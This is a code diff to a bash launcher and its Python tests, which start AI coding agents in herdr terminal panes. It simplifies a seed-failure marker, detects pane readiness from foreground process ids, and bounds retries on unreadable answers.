+#   kimi    -> sh -c 'if <seed>; then exec kimi -c --auto; else <marker+exit>; fi' \
 #                    kimi-worker <model> <bootstrap-prompt>          (seed+continue)
 #   The bootstrap prompt (codex/grok/kimi have no work-system skills) tells the
 #   agent to read TASK.md and drive the task to a PR. `supports=` metadata records
@@ -134,10 +134,7 @@ BOOTSTRAP_PROMPT='Read TASK.md in this worktree and continue the task. Commit on
 # handed to the very process being supervised, and a rendered snapshot wraps. The
 # launcher now uses process STATE instead (the pane returning to its shell prompt
 # without the worker being detected), so nothing here needs to be greppable.
-# The token is still assembled at runtime (`m=WORKER_SEED` … `${m}_FAILED`), which
-# costs nothing and keeps the literal out of the echoed command line.
 SEED_FAIL_MARKER='WORKER_SEED_FAILED'
-SEED_MARKER_HEAD="${SEED_FAIL_MARKER%_FAILED}"
 
 # kimi's two-phase launch script (see the header). Defined once here so the shape
 # has exactly one home; emit_argv passes it as the `sh -c` word.
@@ -160,7 +157,7 @@ SEED_MARKER_HEAD="${SEED_FAIL_MARKER%_FAILED}"
 # Kept ASCII-only and free of backslash escapes so `shell_quote` renders it as a
 # plain single-quoted word in `argv_shell=` — a `$'…'` form would be bash/zsh-only
 # and near-unreadable in the copy-paste block.
-KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; m='"$SEED_MARKER_HEAD"'; echo; echo "[work-system] ${m}_FAILED: kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
+KIMI_LAUNCH_SCRIPT='if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; echo; echo "[work-system] '"$SEED_FAIL_MARKER"': kimi seed exited $rc - TASK.md was NOT started and no session was opened."; exit $rc; fi'
 
 # ---------- registry ----------
 # `flag|cli|model|supports|herdr_mode|herdr_kind`. flag `-` = no shorthand
@@ -465,7 +462,6 @@ subcmd_resolve() {
   # cannot interpret the mode must fail closed rather than guess from the name.
   printf 'herdr_mode=%s\n' "$mode"
   printf 'herdr_kind=%s\n' "$kind"
-  # Only wrappers can fail their seed phase, so only they carry the marker.
   [ -n "$note" ] && printf 'note=%s\n' "$note"
   emit_argv "$cli" "$model" "$session"
 
diff --git a/plugins/work-system/scripts/herdr-launch.sh b/plugins/work-system/scripts/herdr-launch.sh
index 0b446be..b5460de 100755
--- a/plugins/work-system/scripts/herdr-launch.sh
+++ b/plugins/work-system/scripts/herdr-launch.sh
@@ -263,6 +263,7 @@ BUSY_SECONDS="${WORK_SYSTEM_HERDR_BUSY_SECONDS:-45}"
 # wrapper in seconds. Raise it on a slow host.
 IDLE_STREAK="${WORK_SYSTEM_HERDR_IDLE_STREAK:-8}"
 IDLE_MIN_SECONDS="${WORK_SYSTEM_HERDR_IDLE_MIN_SECONDS:-3}"
+UNKNOWN_TRIES="${WORK_SYSTEM_HERDR_UNKNOWN_TRIES:-8}"   # unreadable answers before degrading
 # Legacy path only: how long to let a wrapper worker prove it did not die on the
 # spot before its tab is reported as running (see the pane_alive check there).
 WRAPPER_ALIVE_TRIES="${WORK_SYSTEM_HERDR_ALIVE_TRIES:-6}"
@@ -282,12 +283,18 @@ try:
     print(json.load(sys.stdin)["result"]["pane"].get("agent") or "")
 except Exception:
     pass'
-#   modern launch (pane-run): is the pane back at its own shell prompt, i.e. safe
-#   to type a command into? True when the foreground process group IS the shell —
-#   during rc-file startup (direnv, sops, ssh-add …) a child holds it instead, and
-#   text sent then can be eaten. `unknown` when the answer cannot be read at all
-#   (older herdr without process-info), which the caller degrades on rather than
-#   blocking a launch forever.
+#   modern launch (pane-run) + resume: is the pane back at its own shell prompt,
+#   i.e. safe to type a command into? Answered from WHICH PROCESSES hold the
+#   foreground: only the shell itself → ready; anything else (rc-file startup
+#   running direnv/sops/ssh-add, or a wrapper we launched) → busy. Deliberately not
+#   `foreground_process_group_id == shell_pid`: that equality is only meaningful
+#   with job control, and a shell started with `set +m` would report every running
+#   child as "idle" — which on the detection path means tearing down a healthy
+#   worker. Comparing pids answers the same question without that assumption.
+#   `unknown` covers everything unreadable (older herdr without process-info, a
+#   renamed or re-typed field): the caller degrades on it rather than blocking a
+#   launch forever, and `busy` — a HARD state that fails a launch — is only ever
+#   printed from a fully parsed answer.
 #   `busy` is only ever printed on a POSITIVELY parsed answer — both ids present
 #   and different. A missing/renamed field is schema drift, not a busy shell, and
 #   must read as `unknown` (→ the caller waits out its window and proceeds); mapping
@@ -296,17 +303,16 @@ except Exception:
 extract_shell_ready='import sys, json
 try:
     pi = json.load(sys.stdin)["result"]["process_info"]
-    # Coerce strictly: `busy` is a HARD state (it fails the launch and rolls the tab
-    # back), so it may only ever come from two ids we actually parsed as integers.
-    # A field that is absent, renamed, or re-serialized (a pid as a string, a
-    # negative pgid) is drift and must land on the unknown-means-proceed path.
-    def pid(v):
-        return v if isinstance(v, int) and not isinstance(v, bool) and v > 0 else None
-    fg, shell = pid(pi.get("foreground_process_group_id")), pid(pi.get("shell_pid"))
-    if fg is None or shell is None:
+    shell = pi.get("shell_pid")
+    fg = pi.get("foreground_processes")
+    if not isinstance(shell, int) or isinstance(shell, bool) or not isinstance(fg, list) or not fg:
         print("unknown")
     else:
-        print("ready" if fg == shell else "busy")
+        pids = [q.get("pid") for q in fg if isinstance(q, dict)]
+        if any(not isinstance(x, int) or isinstance(x, bool) for x in pids) or len(pids) != len(fg):
+            print("unknown")
+        else:
+            print("ready" if all(x == shell for x in pids) else "busy")
 except Exception:
     print("unknown")'
 extract_moved_tab='import sys, json
@@ -562,6 +568,14 @@ pane_state() {
 # came back to its prompt without herdr ever detecting the expected worker is a
 # definitive failure. The printed marker remains — for the HUMAN reading the tab.
 
+# pane_shell_state <pane> → ready | busy | unknown. ONE sample of "is the pane at
+# its own shell prompt". `ready` = the shell itself holds the foreground, `busy` =
+# a child does (the wrapper is running), `unknown` = herdr cannot answer.
+pane_shell_state() {
+  run_bounded 10 herdr pane process-info --pane "$1" 2>/dev/null \
+    | python3 -c "$extract_shell_ready" 2>/dev/null || echo unknown
+}
+
 # wait_shell_ready <pane> → ready | busy | unknown. Bounded wait for the pane to be
 # back at ITS OWN shell prompt before typing into it (the `pane run` path has no
 # herdr-side readiness check the way `agent start` does).
@@ -574,19 +588,22 @@ pane_state() {
 # spent does the caller proceed on it, having at least waited out the documented
 # rc-file window. `busy` (a readable answer that says a child holds the foreground)
 # stays a hard failure: we know it is not safe to type.
-# pane_shell_state <pane> → ready | busy | unknown. ONE sample of "is the pane at
-# its own shell prompt". `ready` = the shell itself holds the foreground, `busy` =
-# a child does (the wrapper is running), `unknown` = herdr cannot answer.
-pane_shell_state() {
-  run_bounded 10 herdr pane process-info --pane "$1" 2>/dev/null \
-    | python3 -c "$extract_shell_ready" 2>/dev/null || echo unknown
-}
-
 wait_shell_ready() {
-  local p="$1" i=0 st=unknown last=unknown deadline=$(( SECONDS + READY_SECONDS ))
+  local p="$1" i=0 st=unknown last=unknown unknowns=0 deadline=$(( SECONDS + READY_SECONDS ))
   while [ "$i" -lt "$READY_TRIES" ] && [ "$SECONDS" -lt "$deadline" ]; do
     st="$(pane_shell_state "$p")"
     [ "$st" = ready ] && { printf 'ready\n'; return 0; }
+    if [ "$st" = unknown ]; then
+      unknowns=$((unknowns + 1))
+      # A herdr that cannot answer at all will not start answering: waiting out the
+      # full window would add its whole length to EVERY launch and resume on such a
+      # host. Give it a few polls in case the answer is merely transient, then
+      # degrade — the wait only exists to cover a seconds-long rc window, so
+      # spending far longer than that to learn nothing is the wrong trade.
+      [ "$unknowns" -ge "$UNKNOWN_TRIES" ] && { printf 'unknown\n'; return 0; }
+    else
+      unknowns=0
+    fi
     last="$st"
     i=$((i + 1))
     sleep "$RETRY_DELAY" 2>/dev/null || true
@@ -816,13 +833,13 @@ EOF_RESOLVE
       while : ; do
         start_rc=0
         start_err="$(mktemp)"
-        if [ "${#native_argv[@]}" -gt 0 ]; then
-          start_json="$(herdr agent start "$label" --kind "$herdr_kind" --pane "$pane" \
-            --timeout "$START_TIMEOUT_MS" -- "${native_argv[@]}" 2>"$start_err")" || start_rc=$?
-        else
-          start_json="$(herdr agent start "$label" --kind "$herdr_kind" --pane "$pane" \
-            --timeout "$START_TIMEOUT_MS" 2>"$start_err")" || start_rc=$?
-        fi
+        # Built once. The `--` and its arguments are appended only when there ARE
+        # any, because a bash 3.2 `"${empty[@]}"` is an unbound-variable error under
+        # `set -u` — which is the whole reason this used to be written out twice.
+        start_cmd=(herdr agent start "$label" --kind "$herdr_kind" --pane "$pane"
+                   --timeout "$START_TIMEOUT_MS")
+        [ "${#native_argv[@]}" -gt 0 ] && start_cmd+=(-- "${native_argv[@]}")
+        start_json="$("${start_cmd[@]}" 2>"$start_err")" || start_rc=$?
         start_blob="$(cat "$start_err")"
         rm -f "$start_err"
         [ "$start_rc" = 0 ] && break
@@ -1053,14 +1070,16 @@ EOF_RESOLVE
     # milliseconds ago and its login shell may still be sourcing rc files, which can
     # eat the leading keystrokes of a typed command. Wait for it to reach its own
     # prompt (bounded; an unreadable answer degrades to proceeding, as there).
+    # `busy` means we must not type — but the tab still exists and the user is
+    # switching to it, so this falls through to the shared focus block below
+    # exactly like the send-failed path does. Only `resumed` differs.
+    resumed=yes
     if [ "$(wait_shell_ready "$pane")" = busy ]; then
+      resumed=no
       echo "pane $pane never reached its shell prompt — not typing 'claude -c' into it; the tab is open, run it there by hand" >&2
-      printf 'pane=%s\ntab=%s\nmoved=yes\nreused=no\nresumed=no\nfocused=no\n' "$pane" "$tab"
-      exit 0
     fi
-    resumed=yes
     run_err="$(mktemp)"
-    if ! herdr pane run "$pane" "cd $(printf '%q' "$worktree") && claude -c" >/dev/null 2>"$run_err"; then
+    if [ "$resumed" = yes ] && ! herdr pane run "$pane" "cd $(printf '%q' "$worktree") && claude -c" >/dev/null 2>"$run_err"; then
       resumed=no
       diag="$(herdr_diag "$(cat "$run_err")" "$workspace" 0)"
       [ -n "$diag" ] && printf '%s\n' "$diag" >&2
diff --git a/plugins/work-system/scripts/test_agent_registry.py b/plugins/work-system/scripts/test_agent_registry.py
index 4b0ab8f..1235471 100644
--- a/plugins/work-system/scripts/test_agent_registry.py
+++ b/plugins/work-system/scripts/test_agent_registry.py
@@ -185,9 +185,8 @@ def kv(out):
 # (interactive + autonomous, inheriting the seed's session history).
 SEED_MARKER = "WORKER_SEED_FAILED"
 KIMI_SCRIPT = (
-    'if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; '
-    f'm={SEED_MARKER[: -len("_FAILED")]}; echo; '
-    'echo "[work-system] ${m}_FAILED: kimi seed exited $rc - '
+    'if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; echo; '
+    f'echo "[work-system] {SEED_MARKER}: kimi seed exited $rc - '
     'TASK.md was NOT started and no session was opened."; exit $rc; fi'
 )
 
@@ -221,21 +220,19 @@ def kv(out):
       "--auto" not in script.split("then", 1)[0])
 check("no bare -p/--prompt argv word (it stays bound inside the script)",
       "-p" not in r["argv"] and "--prompt" not in r["argv"])
-# A failed seed must be unambiguous: a machine-readable marker (herdr-launch.sh
-# greps the pane for it), an explicit "not started", no phase 2, and no wait for a
-# keypress nobody is there to press.
+# A failed seed must be unambiguous: a stable marker, an explicit "not started", no
+# phase 2, and no wait for a keypress nobody is there to press. The marker is
+# human-facing only — see the note further down and herdr-launch.sh.
 # The literal token must NOT be in the script text: a pane echoes the command it
 # was given, so a launcher grepping that pane for the marker would "detect" a seed
 # failure the moment it typed the command — killing a healthy launch (found live).
 # The script assembles the token at runtime instead; the executed-output assertions
 # further down prove it still reaches the screen intact.
-check("the marker literal is NOT in the typed command", SEED_MARKER not in script)
-check("the marker is assembled at runtime", "${m}_FAILED" in script)
 # The marker is for the human reading the tab, not a machine signal — the launcher
 # detects a dead wrapper from process state (see herdr-launch.sh), so nothing here
-# needs to be greppable or salted.
-check("the marker carries no launcher-side token plumbing",
-      "SEED_TOKEN" not in script)
+# needs to be greppable, salted, or assembled at runtime to dodge a grep.
+check("the marker is a plain literal, with no launcher-side plumbing",
+      SEED_MARKER in script and "SEED_TOKEN" not in script and "${m}_" not in script)
 check("seed failure states TASK.md was not started", "TASK.md was NOT started" in script)
 check("seed failure does not wait for input", "read " not in script)
 check("phase 2 is gated behind the seed's success",
diff --git a/plugins/work-system/scripts/test_herdr_launch.py b/plugins/work-system/scripts/test_herdr_launch.py
index ab3d408..51d35b2 100644
--- a/plugins/work-system/scripts/test_herdr_launch.py
+++ b/plugins/work-system/scripts/test_herdr_launch.py
@@ -57,10 +57,15 @@
     "agent": "claude", "pane_id": "w1:p7", "interactive_ready": True}}})
 LEGACY_STARTED = jsonlib.dumps({"result": {"agent": {"pane_id": "w1:p5"}}})
 LEGACY_MOVED = jsonlib.dumps({"result": {"move_result": {"created_tab": {"tab_id": "w1:t9"}}}})
+# Readiness is read from WHICH processes hold the foreground, not from a process
+# group id: only the shell itself → ready, anything else → busy (see the extractor).
 SHELL_READY = jsonlib.dumps({"result": {"process_info": {
-    "foreground_process_group_id": 4242, "shell_pid": 4242}}})
+    "shell_pid": 4242, "foreground_process_group_id": 4242,
+    "foreground_processes": [{"pid": 4242, "argv0": "zsh"}]}}})
 SHELL_BUSY = jsonlib.dumps({"result": {"process_info": {
-    "foreground_process_group_id": 4243, "shell_pid": 4242}}})
+    "shell_pid": 4242, "foreground_process_group_id": 4242,
+    "foreground_processes": [{"pid": 4243, "argv0": "sh"},
+                             {"pid": 4242, "argv0": "zsh"}]}}})
 BUSY_ERR = jsonlib.dumps({"error": {
     "code": "agent_pane_busy", "message": "pane w1:p7 is not at a shell prompt"}})
 NO_PANE_ERR = jsonlib.dumps({"error": {
@@ -203,6 +208,7 @@ def __init__(self, cases, log_argv=False, api="legacy", help_text=None):
         self.env["WORK_SYSTEM_HERDR_IDLE_STREAK"] = "2"
         # the wall-clock half of the idle gate; the streak is what these assert
         self.env["WORK_SYSTEM_HERDR_IDLE_MIN_SECONDS"] = "0"
+        self.env["WORK_SYSTEM_HERDR_UNKNOWN_TRIES"] = "2"
         self.env["WORK_SYSTEM_HERDR_ALIVE_TRIES"] = "2"
         if api is not None:
             self.env["WORK_SYSTEM_HERDR_API"] = api
@@ -732,6 +738,25 @@ def kimi_run(cases, log_argv=True):
 check("idle pane: no stdout", r.stdout == "")
 e.close()
 
+# --- a running child WITHOUT its own process group still reads busy --------- #
+# Readiness must not rest on `foreground_process_group_id == shell_pid`: that
+# equality only means "idle" when job control is on. A shell started with `set +m`
+# leaves its children in the shell's own group, so the pgid test would call a
+# running wrapper idle — and the detection loop would tear its tab down.
+NO_JOB_CONTROL = jsonlib.dumps({"result": {"process_info": {
+    "shell_pid": 4242, "foreground_process_group_id": 4242,
+    "foreground_processes": [{"pid": 4242, "argv0": "sh"},
+                             {"pid": 4299, "argv0": "kimi"}]}}})
+e, r = kimi_run(wrapper_cases(**{
+    "pane get": (pane_get(), "", 0),
+    "pane process-info": [(SHELL_READY, "", 0), (NO_JOB_CONTROL, "", 0)],
+}))
+check("no job control: a running child is not idleness",
+      "tab close" not in [n for n, _ in e.calls()])
+check("no job control: reported unverified, not failed",
+      r.returncode == 0 and r.stdout.startswith("blocked=unverified\n"))
+e.close()
+
 # --- a BUSY pane is the wrapper running: never a failure ------------------- #
 # The streak must reset on anything that is not evidence of idleness, or a slow
 # worker gets torn down while it is starting.